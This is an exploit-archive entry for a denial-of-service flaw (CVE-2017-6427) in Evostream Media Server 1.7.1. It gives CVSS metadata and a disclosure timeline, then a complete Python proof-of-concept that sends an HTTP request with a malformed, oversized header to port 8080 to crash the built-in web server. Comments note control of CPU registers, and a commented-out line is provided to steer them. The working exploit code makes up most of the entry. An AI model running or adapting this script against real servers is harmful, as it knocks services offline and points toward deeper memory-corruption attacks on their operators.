Evostream Media Server 1.7.1 Denial Of Service

2017.03.09
Credit: Peter Baris
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: Evostream Media Server 1.7.1 a Built-in Webserver DoS # Date: 2017-03-07 # Exploit Author: Peter Baris # Vendor Homepage: http://www.saptech-erp.com.au # Software Link: https://evostream.com/software-downloads/ # Version: 1.7.1 # Tested on: Windows Server 2008 R2 Standard x64 # CVE : CVE-2017-6427 # 2017-03-02: Vulnerability reported # 2017-03-03: Software vendor answered, vulnerability details shared # 2017-03-07: No answer, publishing import socket import sys try: host = sys.argv[1] port = 8080 except IndexError: print "[+] Usage %s <host> " % sys.argv[0] sys.exit() buffer = "GET /index.html HTTP/1.1\r\n" buffer+= "Host: "+host+":"+str(port)+"\r\n" buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n" buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer+="Accept-Language: en-US,en;q=0.5\r\n" buffer+="Accept-Encoding: gzip, deflate\r\n" buffer+="Referer: http://192.168.198.129/login" buffer+="Connection: keep-alive\r\n" buffer+="Cont"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # RCX Control #buffer+="\xff\xad\xde"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # Remove hash to control RDX and CX(it will have the value 0x000000000000dead) buffer+="Content-Length: 5900\r\n\r\n" buffer+="B"*4096 # This is just to prove that the stack will also contain any buffer delivered with the malicios HTTP header s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((host,port)) s.send(buffer) s.close()


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